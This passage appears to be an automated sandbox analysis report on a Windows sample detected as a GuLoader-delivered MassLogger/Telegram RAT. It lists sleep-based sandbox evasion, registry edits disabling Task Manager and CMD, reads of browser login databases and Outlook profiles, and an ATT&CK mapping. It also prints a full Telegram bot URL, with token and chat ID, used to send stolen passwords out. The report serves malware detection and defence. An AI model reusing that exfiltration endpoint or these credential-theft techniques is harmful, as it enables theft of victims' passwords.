Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596466	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594951	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594508	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594391	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594247	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594141	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 593974	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 593844	Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Window / User API: threadDelayed 3855			Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Window / User API: threadDelayed 5964			Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nscEDE4.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

API coverage: 2.5 %

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 4260	Thread sleep count: 3855 > 30	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -599886s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 4260	Thread sleep count: 5964 > 30	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -599563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -599438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -599313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -599063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -598953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -598843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -598734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -598625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -598516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -598391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -598281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -598157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -598030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -597920s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -597804s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -597688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -597563s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -597438s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -597313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -597200s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -597092s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -596960s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -596466s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -596250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -595813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -595703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -595594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -595485s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -595360s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -595235s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -595110s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -594951s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -594734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -594625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -594508s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -594391s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -594247s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -594141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -593974s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe TID: 2500	Thread sleep time: -593844s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 1_2_0040672B FindFirstFileW,FindClose,	1_2_0040672B
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 1_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405AFA
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 1_2_00402868 FindFirstFileW,	1_2_00402868
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_00402868 FindFirstFileW,	7_2_00402868
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_0040672B FindFirstFileW,FindClose,	7_2_0040672B
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Code function: 7_2_00405AFA CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	7_2_00405AFA

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599886	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599563	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599438	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599313	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598953	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598843	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598734	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598625	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598391	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598281	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598157	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 598030	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597920	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597804	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597688	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597200	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 597092	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596960	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596466	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596250	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595813	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595703	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595594	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594951	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594508	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594391	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594247	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 594141	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 593974	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Thread delayed: delay time: 593844	Jump to behavior

Source: V7OHj6ISEo.exe, 00000007.00000002.2542671564.000000000494A000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2542671564.00000000048E8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	API call chain: ExitProcess graph end node			graph_1-4593
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	API call chain: ExitProcess graph end node			graph_1-4748

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Code function: 1_2_75561B5F GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_75561B5F

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Process created: C:\Users\user\Desktop\V7OHj6ISEo.exe "C:\Users\user\Desktop\V7OHj6ISEo.exe"

Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Queries volume information: C:\Users\user\Desktop\V7OHj6ISEo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Code function: 1_2_004034A5 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

1_2_004034A5

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V7OHj6ISEo.exe PID: 4136, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V7OHj6ISEo.exe PID: 4136, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\V7OHj6ISEo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\V7OHj6ISEo.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V7OHj6ISEo.exe PID: 4136, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V7OHj6ISEo.exe PID: 4136, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: V7OHj6ISEo.exe PID: 4136, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
V7OHj6ISEo.exe	76%	Virustotal		Browse
V7OHj6ISEo.exe	61%	ReversingLabs	Win32.Trojan.GuLoader
V7OHj6ISEo.exe	100%	Avira	HEUR/AGEN.1337946

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nscEDE4.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nscEDE4.tmp\System.dll	0%	Virustotal		Browse

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.186.110	true	false	high
drive.usercontent.google.com	142.250.185.65	true	false	high
reallyfreegeoip.org	104.21.32.1	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/I	V7OHj6ISEo.exe, 00000007.00000002.2542671564.000000000494A000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000003.2009686731.0000000004960000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000003.2009633754.0000000004959000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003546E000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035351000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035512000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035300000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003524B000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382	V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035300000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	V7OHj6ISEo.exe, 00000007.00000003.1974851418.0000000004961000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	V7OHj6ISEo.exe, 00000007.00000002.2542671564.00000000048E8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	V7OHj6ISEo.exe, 00000007.00000002.2563111506.0000000035188000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	V7OHj6ISEo.exe, 00000007.00000002.2563111506.000000003516F000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	V7OHj6ISEo.exe, 00000007.00000002.2542671564.000000000494A000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000003.2009686731.0000000004960000.00000004.00000020.00020000.00000000.sdmp, V7OHj6ISEo.exe, 00000007.00000003.2009633754.0000000004959000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/L	V7OHj6ISEo.exe, 00000007.00000002.2542671564.00000000048E8000.00000004.00000020.00020000.00000000.sdmp	false	high
